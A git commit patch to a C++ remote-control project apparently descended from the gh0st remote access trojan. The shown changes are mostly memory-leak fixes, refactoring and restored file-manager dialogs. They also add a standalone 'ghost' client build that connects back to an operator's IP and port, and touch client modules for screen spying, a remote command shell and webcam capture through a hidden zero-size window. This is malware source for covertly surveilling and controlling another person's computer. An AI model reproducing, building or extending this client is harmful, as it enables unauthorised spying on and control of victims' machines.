From a98d69f434abec7b640bb027825d56e78aa7fd3b Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 6 Jan 2019 21:18:26 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=86=85=E5=AD=98=E6=B3=84?= =?UTF-8?q?=E6=BC=8F=E7=BC=BA=E9=99=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 详见ReadMe.txt --- ReadMe.txt | 10 + client/Buffer.h | 16 +- client/CaptureVideo.cpp | 134 +- client/ClientDll.cpp | 43 + client/ClientDll.vcxproj | 1 + client/IOCPClient.cpp | 2 - client/ScreenManager.cpp | 2 +- client/ScreenSpy.cpp | 17 +- client/ScreenSpy.h | 20 +- client/Script.rc | 4 +- client/ShellManager.cpp | 1 + client/TestRun.vcxproj.user | 12 + client/ghost.vcxproj | 144 + client/ghost.vcxproj.filters | 177 + client/ghost.vcxproj.user | 10 + server/2015Remote.sln | 6 + server/2015Remote/2015Remote.rc | Bin 36754 -> 48464 bytes server/2015Remote/2015Remote.vcxproj | 4 +- server/2015Remote/2015Remote.vcxproj.filters | 12 +- server/2015Remote/2015RemoteDlg.cpp | 2 +- server/2015Remote/FileCompress.cpp | 74 - server/2015Remote/FileCompress.h | 25 - server/2015Remote/FileManagerDlg.cpp | 3418 ++++++++++++------ server/2015Remote/FileManagerDlg.h | 326 +- server/2015Remote/FileTransferModeDlg.cpp | 55 +- server/2015Remote/FileTransferModeDlg.h | 47 +- server/2015Remote/IOCPServer.h | 20 +- server/2015Remote/InputDlg.cpp | 227 ++ server/2015Remote/InputDlg.h | 83 + server/2015Remote/TrueColorToolBar.cpp | 44 +- server/2015Remote/TrueColorToolBar.h | 31 +- server/2015Remote/gh0st2Remote.h | 35 + server/2015Remote/res/1.cur | Bin 0 -> 326 bytes server/2015Remote/res/2.cur | Bin 0 -> 326 bytes server/2015Remote/res/3.cur | Bin 0 -> 326 bytes server/2015Remote/res/4.cur | Bin 0 -> 326 bytes server/2015Remote/res/Bitmap_4.bmp | Bin 0 -> 10422 bytes server/2015Remote/res/Bitmap_5.bmp | Bin 0 -> 10422 bytes server/2015Remote/res/dot.cur | Bin 0 -> 326 bytes server/2015Remote/res/gh0st.ico | Bin 0 -> 766 bytes server/2015Remote/res/gh0st.rc2 | 13 + server/2015Remote/res/keyboard.ico | Bin 0 -> 766 bytes server/2015Remote/res/system.ico | Bin 0 -> 766 bytes server/2015Remote/res/toolbar1.bmp | Bin 0 -> 1846 bytes server/2015Remote/res/toolbar2.bmp | Bin 0 -> 1846 bytes server/2015Remote/res/webcam.ico | Bin 0 -> 24190 bytes server/2015Remote/resource.h | Bin 11870 -> 19872 bytes 47 files changed, 3410 insertions(+), 1605 deletions(-) create mode 100644 client/TestRun.vcxproj.user create mode 100644 client/ghost.vcxproj create mode 100644 client/ghost.vcxproj.filters create mode 100644 client/ghost.vcxproj.user delete mode 100644 server/2015Remote/FileCompress.cpp delete mode 100644 server/2015Remote/FileCompress.h create mode 100644 server/2015Remote/InputDlg.cpp create mode 100644 server/2015Remote/InputDlg.h create mode 100644 server/2015Remote/gh0st2Remote.h create mode 100644 server/2015Remote/res/1.cur create mode 100644 server/2015Remote/res/2.cur create mode 100644 server/2015Remote/res/3.cur create mode 100644 server/2015Remote/res/4.cur create mode 100644 server/2015Remote/res/Bitmap_4.bmp create mode 100644 server/2015Remote/res/Bitmap_5.bmp create mode 100644 server/2015Remote/res/dot.cur create mode 100644 server/2015Remote/res/gh0st.ico create mode 100644 server/2015Remote/res/gh0st.rc2 create mode 100644 server/2015Remote/res/keyboard.ico create mode 100644 server/2015Remote/res/system.ico create mode 100644 server/2015Remote/res/toolbar1.bmp create mode 100644 server/2015Remote/res/toolbar2.bmp create mode 100644 server/2015Remote/res/webcam.ico diff --git a/ReadMe.txt b/ReadMe.txt index 1ce5712..6f83c98 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -14,3 +14,13 @@ 2、修复部分内存泄漏问题,改善线程处理逻辑。 3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。 4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。 + +2019.1.6 + +1、改用EnumDisplaySettings获取屏幕大小,原方法获取屏幕大小不准。 + +2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。 + +3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。 + +4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。 diff --git a/client/Buffer.h b/client/Buffer.h index 3a84cab..fa21dfc 100644 --- a/client/Buffer.h +++ b/client/Buffer.h @@ -8,14 +8,14 @@ public: CBuffer(void); ~CBuffer(void); - ULONG CBuffer::GetBufferMaxLength(); - ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength); - ULONG CBuffer::GetBufferLength(); //Чݳ; - ULONG CBuffer::DeAllocateBuffer(ULONG ulLength); - VOID CBuffer::ClearBuffer(); - ULONG CBuffer::ReAllocateBuffer(ULONG ulLength); - BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength); - PBYTE CBuffer::GetBuffer(ULONG ulPos=0); + ULONG GetBufferMaxLength(); + ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); + ULONG GetBufferLength(); //Чݳ; + ULONG DeAllocateBuffer(ULONG ulLength); + VOID ClearBuffer(); + ULONG ReAllocateBuffer(ULONG ulLength); + BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); + PBYTE GetBuffer(ULONG ulPos=0); protected: PBYTE m_Base; diff --git a/client/CaptureVideo.cpp b/client/CaptureVideo.cpp index 34751be..d484cb1 100644 --- a/client/CaptureVideo.cpp +++ b/client/CaptureVideo.cpp @@ -31,10 +31,11 @@ CCaptureVideo::~CCaptureVideo() m_pVW->put_Owner(NULL); } SAFE_RELEASE(m_pMC); - SAFE_RELEASE(m_pVW); + SAFE_RELEASE(m_pVW); SAFE_RELEASE(m_pGB); SAFE_RELEASE(m_pBF); - SAFE_RELEASE(m_pGrabber); + SAFE_RELEASE(m_pGrabber); + SAFE_RELEASE(m_pCapture); CoUninitialize() ; } @@ -42,91 +43,86 @@ CCaptureVideo::~CCaptureVideo() //!!Ҳ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) { - HRESULT hResult; - - hResult = InitCaptureGraphBuilder(); // - if (FAILED(hResult)) + printf("CCaptureVideo call Open\n"); + HRESULT hResult = S_OK; + do { - return hResult; - } - if(!BindVideoFilter(iDeviceID, &m_pBF)) //FDo - return S_FALSE; + hResult = InitCaptureGraphBuilder(); + if (FAILED(hResult)) + break; + if(!BindVideoFilter(iDeviceID, &m_pBF)) + break; - hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); + hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); - hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, - IID_ISampleGrabber, (void**)&m_pGrabber); //ڴ - if(FAILED(hResult)) - { - return hResult; - } + hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, + IID_ISampleGrabber, (void**)&m_pGrabber); //ڴ + if(FAILED(hResult)) + break; - //m_pGrabber 1 ʽ 2 ڴ滺ʽ - CComQIPtr pGrabBase(m_pGrabber);//Ƶʽ - AM_MEDIA_TYPE mt; //Ƶʽ - ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); - mt.majortype = MEDIATYPE_Video; - mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 ; + //m_pGrabber 1 ʽ 2 ڴ滺ʽ + CComQIPtr pGrabBase(m_pGrabber);//Ƶʽ + AM_MEDIA_TYPE mt; //Ƶʽ + ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); + mt.majortype = MEDIATYPE_Video; + mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 - hResult = m_pGrabber->SetMediaType(&mt); - if( FAILED( hResult )) - { - return hResult; - } - hResult = m_pGB->AddFilter( pGrabBase,L"Grabber"); + hResult = m_pGrabber->SetMediaType(&mt); + if(FAILED(hResult)) + break; + + hResult = m_pGB->AddFilter(pGrabBase,L"Grabber"); - if( FAILED(hResult)) - { - return hResult; - } + if(FAILED(hResult)) + break; - hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //̬ - &MEDIATYPE_Video,m_pBF,pGrabBase,NULL); - if( FAILED(hResult)) - { - hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL); - //׽ - } - if( FAILED(hResult)) - { - return hResult; - } - hResult = m_pGrabber->GetConnectedMediaType(&mt); + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //̬ + &MEDIATYPE_Video,m_pBF,pGrabBase,NULL); + if(FAILED(hResult)) + { + //׽ + hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL); + break; + } - if (FAILED( hResult) ) - { - return hResult; - } + if(FAILED(hResult)) + break; + + hResult = m_pGrabber->GetConnectedMediaType(&mt); - //3 ׽ FDO һݾͽ ص һ + if (FAILED(hResult)) + break; - VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat; - //mCB Ǹһ ȫֱ иص - mCB.m_ulFullWidth = vih->bmiHeader.biWidth; - mCB.m_ulFullHeight = vih->bmiHeader.biHeight; + //3 ׽ FDO һݾͽ ص һ - FreeMediaType(mt); + VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat; + //mCB Ǹһ ȫֱ иص + mCB.m_ulFullWidth = vih->bmiHeader.biWidth; + mCB.m_ulFullHeight = vih->bmiHeader.biHeight; - hResult = m_pGrabber->SetBufferSamples( FALSE ); //ص - hResult = m_pGrabber->SetOneShot( FALSE ); + FreeMediaType(mt); - //Ƶص ҲƵʱͻBufferCB + hResult = m_pGrabber->SetBufferSamples( FALSE ); //ص + hResult = m_pGrabber->SetOneShot( FALSE ); - //OnTimer - hResult = m_pGrabber->SetCallback(&mCB, 1); + //Ƶص ҲƵʱͻBufferCB - m_hWnd = CreateWindow("#32770", - "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); + //OnTimer + hResult = m_pGrabber->SetCallback(&mCB, 1); - SetupVideoWindow(); //δ + m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL); - hResult = m_pMC->Run(); // + SetupVideoWindow(); //δ - if(FAILED(hResult)) - { - return hResult; - } - return S_OK; + hResult = m_pMC->Run(); // + + if(FAILED(hResult)) + break; + } while (false); + + printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed"); + + return hResult; } diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 3dcd338..6922e8a 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -16,6 +16,48 @@ bool g_bThreadExit = false; HINSTANCE g_hInstance = NULL; DWORD WINAPI StartClient(LPVOID lParam); +#if _CONSOLE + +enum { E_RUN, E_STOP } status; + +BOOL CALLBACK callback(DWORD CtrlType) +{ + if (CtrlType == CTRL_CLOSE_EVENT) + { + g_bExit = true; + while (E_RUN == status) + Sleep(20); + } + return TRUE; +} + +int main(int argc, const char *argv[]) +{ + status = E_RUN; + if (argc < 3) + { + std::cout<<".\n"; + return -1; + } + + SetConsoleCtrlHandler(&callback, TRUE); + const char *szServerIP = argv[1]; + int uPort = atoi(argv[2]); + printf("[remote] %s:%d\n", szServerIP, uPort); + + memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); + g_uPort = uPort; + + HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); + + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + status = E_STOP; + + return 0; +} +#else + BOOL APIENTRY DllMain( HINSTANCE hInstance, DWORD ul_reason_for_call, LPVOID lpReserved @@ -58,6 +100,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } // Ƿɹֹͣ extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } +#endif DWORD WINAPI StartClient(LPVOID lParam) { diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj index 11ca7d5..b23c3a7 100644 --- a/client/ClientDll.vcxproj +++ b/client/ClientDll.vcxproj @@ -21,6 +21,7 @@ true v110 MultiByte + false DynamicLibrary diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 27d526b..efd70ed 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -59,8 +59,6 @@ IOCPClient::~IOCPClient() while (S_RUN == m_bWorkThread) Sleep(10); - Sleep(5000); - DeleteCriticalSection(&m_cs); m_bWorkThread = S_END; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 24feb3a..1fd7b41 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -25,7 +25,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n):CManager(ClientO m_bIsWorking = TRUE; m_bIsBlockInput = FALSE; - m_ScreenSpyObject = new CScreenSpy(16); + m_ScreenSpyObject = new CScreenSpy(16); if (m_ScreenSpyObject==NULL) { diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index f58d047..39dd0ca 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -5,6 +5,7 @@ #include "stdafx.h" #include "ScreenSpy.h" #include "Common.h" +#include ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -26,11 +27,19 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount) } m_hDeskTopWnd = GetDesktopWindow(); - m_hFullDC = GetDC(m_hDeskTopWnd); + m_hFullDC = GetDC(m_hDeskTopWnd); - m_hFullMemDC = CreateCompatibleDC(m_hFullDC); - m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //Ļķֱ - m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN); + m_hFullMemDC = CreateCompatibleDC(m_hFullDC); + //::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)ȡĻС׼ + //統ĻʾΪ125%ʱȡĻСҪ1.25Ŷ + DEVMODE devmode; + memset(&devmode, 0, sizeof (devmode)); + devmode.dmSize = sizeof(DEVMODE); + devmode.dmDriverExtra = 0; + BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode); + m_ulFullWidth = devmode.dmPelsWidth; + m_ulFullHeight = devmode.dmPelsHeight; + printf("===> ֱʴСΪ%d x %d\n", m_ulFullWidth, m_ulFullHeight); m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight); m_BitmapData_Full = NULL; m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 3d0185b..db0a0d6 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -15,14 +15,14 @@ class CScreenSpy { public: - CScreenSpy::CScreenSpy(ULONG ulbiBitCount); + CScreenSpy(ULONG ulbiBitCount); virtual ~CScreenSpy(); - ULONG CScreenSpy::GetBISize(); - LPBITMAPINFO CScreenSpy::GetBIData(); + ULONG GetBISize(); + LPBITMAPINFO GetBIData(); ULONG m_ulbiBitCount; LPBITMAPINFO m_BitmapInfor_Full; ULONG m_ulFullWidth, m_ulFullHeight; //Ļķֱ - LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount, + LPBITMAPINFO ConstructBI(ULONG ulbiBitCount, ULONG ulFullWidth, ULONG ulFullHeight); HWND m_hDeskTopWnd; //ǰĴھ @@ -31,20 +31,20 @@ public: HBITMAP m_BitmapHandle; PVOID m_BitmapData_Full; DWORD m_dwBitBltRop; - LPVOID CScreenSpy::GetFirstScreenData(); - ULONG CScreenSpy::GetFirstScreenLength(); - LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength); + LPVOID GetFirstScreenData(); + ULONG GetFirstScreenLength(); + LPVOID GetNextScreenData(ULONG* ulNextSendLength); BYTE* m_RectBuffer; ULONG m_RectBufferOffset; BYTE m_bAlgorithm; - VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength); + VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength); CCursorInfor m_CursorInfor; HDC m_hDiffMemDC; HBITMAP m_DiffBitmapHandle; PVOID m_DiffBitmapData_Full; - ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, + ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength); - VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); + VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); }; #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) diff --git a/client/Script.rc b/client/Script.rc index 759740b..a0033af 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -107,12 +107,12 @@ BEGIN BLOCK "080404b0" BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" - VALUE "FileDescription", "A DLL" + VALUE "FileDescription", "A GHOST" VALUE "FileVersion", "1.0.0.1" VALUE "InternalName", "ServerDl.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDl.dll" - VALUE "ProductName", "A DLL" + VALUE "ProductName", "A GHOST" VALUE "ProductVersion", "1.0.0.1" END END diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index cc57c54..70b6794 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -16,6 +16,7 @@ BOOL bStarting = TRUE; CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { + bStarting = TRUE; m_hThreadRead = NULL; m_hShellProcessHandle = NULL; //Cmd̵Ľ̾߳̾ m_hShellThreadHandle = NULL; diff --git a/client/TestRun.vcxproj.user b/client/TestRun.vcxproj.user new file mode 100644 index 0000000..562dc43 --- /dev/null +++ b/client/TestRun.vcxproj.user @@ -0,0 +1,12 @@ + + + + C:\Users\win7\Desktop\Remoter\TestRun.exe + C:\Users\win7\Desktop\Remoter + 192.168.43.2 + C:\Users\win7\Desktop\Remoter + $(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb + false + WindowsLocalDebugger + + \ No newline at end of file diff --git a/client/ghost.vcxproj b/client/ghost.vcxproj new file mode 100644 index 0000000..ee47e11 --- /dev/null +++ b/client/ghost.vcxproj @@ -0,0 +1,144 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {3F756E52-23C2-4EE4-A184-37CF788D50A7} + ClientDll + ghost + + + + Application + true + v110 + MultiByte + false + + + Application + false + v110 + true + MultiByte + + + + + + + + + + + + + $(Configuration)\ghost + + + $(Configuration)\ghost + + + + Level3 + Disabled + ./;%(AdditionalIncludeDirectories) + MultiThreadedDebug + _CONSOLE;%(PreprocessorDefinitions) + + + true + zlib.lib;%(AdditionalDependencies) + libcmt.lib + + + + + Level3 + MaxSpeed + true + true + MultiThreaded + ./;%(AdditionalIncludeDirectories) + _CONSOLE;%(PreprocessorDefinitions) + + + true + true + true + zlib.lib;%(AdditionalDependencies) + /SAFESEH:NO %(AdditionalOptions) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/client/ghost.vcxproj.filters b/client/ghost.vcxproj.filters new file mode 100644 index 0000000..15423fa --- /dev/null +++ b/client/ghost.vcxproj.filters @@ -0,0 +1,177 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 资源文件 + + + + + 资源文件 + + + + + 资源文件 + + + \ No newline at end of file diff --git a/client/ghost.vcxproj.user b/client/ghost.vcxproj.user new file mode 100644 index 0000000..11a43ca --- /dev/null +++ b/client/ghost.vcxproj.user @@ -0,0 +1,10 @@ + + + + WindowsLocalDebugger + 192.168.43.165 2356 + + + WindowsLocalDebugger + + \ No newline at end of file diff --git a/server/2015Remote.sln b/server/2015Remote.sln index e364588..2edfd31 100644 --- a/server/2015Remote.sln +++ b/server/2015Remote.sln @@ -10,6 +10,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRu {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} EndProjectSection EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "..\client\ghost.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 @@ -28,6 +30,10 @@ Global {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32 {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32 {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32 + {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.ActiveCfg = Debug|Win32 + {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|Win32.Build.0 = Debug|Win32 + {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.ActiveCfg = Release|Win32 + {3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|Win32.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 2dbc73b172fde556c9ab42f1b0c554cd4ef674bb..39a966b240854212504084e394da18f687315ac1 100644 GIT binary patch delta 3551 zcmai1YfMvj6#pw#U=-R?q4I7k5DEyiyoBk5J`h45(A&z;#Ucs?c?gJ%IKf6`x-<*o ziEf|fG;T|_EMf8EKB)V!?2DOxnOm}HmduQ0PGe^F!DVje{BIw(7p7_2dwcKsoyYI| z&bjUROY3hxTfcm-EV+$!Feh`s&jy34mesRutdi-Og*CEz&=@OVI=c@ZWjkTx*6fnY zZ*815vUK(eYhxbfW`cP)mcv7s@zNEGs zs?Ci25sSoStU9=}sajDPtm%Qi()`p~yv=Wcp+F1z9Y)2Ei)qL3)@DNhS&P?4-pH6f zssCoy2!`6C4qt>@0l9JDIq_lVeAqGHUD$m)s)us-@Nbltp7&Fao*K~)eHWF~3A4sM zrt#UU;WGn&x&IyPKkz~&LHG7Nc%Ekjw@nEjF1fo5QVYY7Gr}87sw>n;3)+ zRl>QT0+xpq+UR_^FiSVSY2pl%6>85L{(YYuXz&uqCIe{%yhKu?7y^zN3Vg(*uDbC3 z%yQTtAV{YSqUuEBUS>u9X}awkK*IfI{_!ya_+)@Asg!A~XrP=N_V@Ao^U-=-GFX~` zQ3O8UE^hqwJ4^3B2&TPBF?P$1d(f+ulPntl5&rYNJ2RC&GVYNX^X){F;Xy??@yMe< zw^IlEW;0Z|o}a?eqy%PyFWfo^9d1^xjIs;l&MCU9i4vbCj+X~J(gqq=0ki}+DQ_)R z^VnXQaVn8P+k%?&cu*#(31!nD2Dri`I=DAw94(Yli%p(im)3m|G;6 zUj~b9v)#0HC#rc}Gu@~5Uh@7EB7i4empaWow;1eqo~7${(NRoPDjpZLLF?GTY|;8S z=;`3{fFybhl#S+<5Jl1!@*)akV zC?b=%whd^rNnnv}VC5=}2rkBF!lsKj zLeWHI$F+(ASKeL}hb6ja-wu@VDlPsU7PC_;Sj{J1&=X zawir*PqW7%{5dp||G(YQkpDJh!hr+Vj;shUHrANlfx7KLmOI!U+|<}96`f13;ZWgL zU^%Xbs!%4fWXQ;YuKDfIH&>cRe^ETx zKP$@Ii=!_tZ7VHOm^|)J3gF)!&3p+K6G5q_* - + @@ -156,10 +156,10 @@ - + diff --git a/server/2015Remote/2015Remote.vcxproj.filters b/server/2015Remote/2015Remote.vcxproj.filters index 409854f..9948a0a 100644 --- a/server/2015Remote/2015Remote.vcxproj.filters +++ b/server/2015Remote/2015Remote.vcxproj.filters @@ -165,9 +165,6 @@ 远程文件 - - 头文件 - 即时消息 @@ -195,6 +192,9 @@ 远程音频 + + 远程文件 + @@ -245,9 +245,6 @@ 远程系统管理 - - 远程文件 - 远程音频 @@ -266,6 +263,9 @@ 远程音频 + + 远程文件 + diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 6ec2340..21ca125 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -1104,7 +1104,7 @@ LRESULT CMy2015RemoteDlg::OnOpenFileManagerDialog(WPARAM wParam, LPARAM lParam) //תCFileManagerDlg 캯 CFileManagerDlg *Dlg = new CFileManagerDlg(this,m_iocpServer, ContextObject); // øΪ׿ - Dlg->Create(IDD_DIALOG_FILE_MANAGER, GetDesktopWindow()); //Dlg + Dlg->Create(IDD_FILE, GetDesktopWindow()); //Dlg Dlg->ShowWindow(SW_SHOW); ContextObject->v1 = FILEMANAGER_DLG; diff --git a/server/2015Remote/FileCompress.cpp b/server/2015Remote/FileCompress.cpp deleted file mode 100644 index df5ced2..0000000 --- a/server/2015Remote/FileCompress.cpp +++ /dev/null @@ -1,74 +0,0 @@ -// FileCompress.cpp : ʵļ -// - -#include "stdafx.h" -#include "2015Remote.h" -#include "FileCompress.h" -#include "afxdialogex.h" - -// CFileCompress Ի - -IMPLEMENT_DYNAMIC(CFileCompress, CDialog) - -CFileCompress::CFileCompress(CWnd* pParent, ULONG n) - : CDialog(CFileCompress::IDD, pParent) - , m_EditRarName(_T("")) -{ - m_ulType = n; -} - -CFileCompress::~CFileCompress() -{ -} - -void CFileCompress::DoDataExchange(CDataExchange* pDX) -{ - CDialog::DoDataExchange(pDX); - DDX_Text(pDX, IDC_EDIT_RARNAME, m_EditRarName); -} - - -BEGIN_MESSAGE_MAP(CFileCompress, CDialog) -END_MESSAGE_MAP() - - -// CFileCompress Ϣ - - -BOOL CFileCompress::OnInitDialog() -{ - CDialog::OnInitDialog(); - - CString strTips; - switch(m_ulType) - { - case 1: - { - strTips = "ѹļ"; - SetDlgItemText(IDC_STATIC, strTips); - break; - } - case 2: - { - strTips = "ѹļУ"; - SetDlgItemText(IDC_STATIC, strTips); - break; - } - case 3: - { - strTips = "Զѹļ"; - SetDlgItemText(IDC_STATIC, strTips); - break; - } - case 4: - { - strTips = "Զ̽ѹļУ"; - SetDlgItemText(IDC_STATIC, strTips); - } - } - - UpdateData(TRUE); - - return TRUE; // return TRUE unless you set the focus to a control - // 쳣: OCX ҳӦ FALSE -} diff --git a/server/2015Remote/FileCompress.h b/server/2015Remote/FileCompress.h deleted file mode 100644 index 7a48326..0000000 --- a/server/2015Remote/FileCompress.h +++ /dev/null @@ -1,25 +0,0 @@ -#pragma once - - -// CFileCompress Ի - -class CFileCompress : public CDialog -{ - DECLARE_DYNAMIC(CFileCompress) - -public: - CFileCompress(CWnd* pParent = NULL,ULONG n = 0); // ׼캯 - virtual ~CFileCompress(); - -// Ի - enum { IDD = IDD_DIALOG_FILE_COMPRESS }; - -protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ - - DECLARE_MESSAGE_MAP() -public: - CString m_EditRarName; - ULONG m_ulType; - virtual BOOL OnInitDialog(); -}; diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 4a2abbc..81637a3 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -1,1162 +1,1404 @@ -// FileManagerDlg.cpp : ʵļ +// FileManagerDlg.cpp : implementation file // #include "stdafx.h" #include "2015Remote.h" #include "FileManagerDlg.h" -#include "afxdialogex.h" -#include "EditDialog.h" #include "FileTransferModeDlg.h" -#include "FileCompress.h" -#include +#include "InputDlg.h" +#ifdef _DEBUG +#define new DEBUG_NEW +#undef THIS_FILE +static char THIS_FILE[] = __FILE__; +#endif -#define MAKEINT64(low, high) 